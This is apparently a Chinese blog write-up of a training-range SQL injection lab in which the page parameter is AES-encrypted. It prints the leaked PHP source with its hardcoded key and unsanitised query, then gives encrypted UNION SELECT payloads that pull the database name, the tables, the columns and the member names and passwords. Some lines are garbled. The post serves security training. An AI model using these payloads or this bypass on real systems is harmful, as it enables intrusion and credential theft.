SQL注入漏洞测试(参数加密)

背景介绍

此WEB业务环境对参数进行了AES加密,为了防止参数产生SQL注入,也是防止SQL注入产生的一种方法,但是这种方式就安全了么?

实训目标

1、掌握信息泄露的方式;
2、了解AES加解密;
3、了解PHP的基本语法;
4、掌握手工SQL注入;
5、了解MySQL数据库的结构;

解题方向

通过SQL注入方式,获取WEB业务系统的账号密码进行登录。

实验步骤

1、通过观察网页,发现登录按钮下面的公告可以点进去
在这里插入图片描述
2、进入之后发现URL后面的参数为一连串数字,应该是id等于这个解码后的数字转到此页面,故我们直接进入news页面,也可以直接使用工具暴力搜索目录
在这里插入图片描述
进入后,发现目录文件,下载list.zip
在这里插入图片描述
压缩后打开发现解码过程进行代码审计

<?php
header('content-type:text/html;charset=utf-8'); //发起原始的http报头
require_once '../config.php';  //加载config.php的代码(个人理解为数据库查询代码)
//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); //打开加密算法和模块(算法名称、加密模块位置、加密模式CBC、加密模式的路径)
                                                   					        //mcrypt_module_open打开成功返回家密描述符     $td = 加密描述符
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021'); //初始加密(加密描述符,加密密码,偏移量)
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));//解密数据    data密文
	mcrypt_generic_deinit($td);//结束加密,执行清理工作
	mcrypt_module_close($td);//关闭加密模块
	if(substr(trim($data),-6)!=='_mozhe'){                                  //判断后6个字符是否等于_mozhe
		echo '<script>window.location.href="/index.php";</script>';  //不等于重定向页面
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);       //等于则回显数据
	}
}
$id=decode($_GET['id']);          //$_GET[]传递参数id
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

相关函数
mcrypt-module-open
由此看出算法为rijndael(AES),128输入,CBC工作模式,
mcrypt-generic-init
第二个参数为密钥,第三个参数为初始向量
mdecrypt-generic
base64_decode
trim() 函数

substr
substr(trim( d a t a ) , − 6 ) 的 含 义 是 返 回 t r i m ( data),-6)的含义是返回trim( data),6)trim(data)后6位
substr(trim( d a t a ) , 0 , s t r l e n ( t r i m ( data),0,strlen(trim( data),0,strlen(trim(data))-6)返回trim($data)中除后6位的其他子字符串

可知解码过程如下:
1、将data二次base64解码
2、然后进行AES,128位,CBC解码,如图
在这里插入图片描述
因为在网站的AES解码中,有输出为base64,故只需解码base64一次
在这里插入图片描述
得到字符串1_mozhe,由题知id=1_mozhe
故可知id=1_mozhe时他会跳转到公告这个页面

即是先对通过?id=注入的数据解密得到明文进行判断是否后六个字符为_mozhe,只需反向加密构造payload即可

构造payload
先对?id=之后的数据进行AES加密,加密模式CBC,加密位数128位,加密密码ydhaqPQnexoaDuW3,加密偏移量2018201920202021,然后又进行两次base64加密。填充为zeropadding。

注意:AES加密后默认的输出结果是base64编码格式的,所以后续只需进行一次base64加密即可。

在这里插入图片描述
构造payload:-1 union select 1,2,3,4_mozhe
AES加密:xgd58ipTrnx8VzS*JicqCo3+zFFzhay5byFU3cjbdeI=
base64加密:eGdkNThpcFRybng4VnpTQkppY3FDbzMrekZGemhheTVieUZVM2NqYmRlST0=
获取显示位:
————————————————
在这里插入图片描述

爆库爆表爆列爆字段
爆库: -1 union select 1,database(),3,4_mozhe
爆表:-1 union select 1,group_concat(table_name),3,4 frominformation_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit0,1_mozhe
爆列:-1 union select 1,group_concat(column_name),3,4 frominformation_schema.columns where table_name=‘StormGroup_member’ limit 0,1_mozhe
爆字段:-1 union select 1,group_concat(name,password),3,4 fromStormGroup_member limit 0,1_mozhe
6.得到key

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值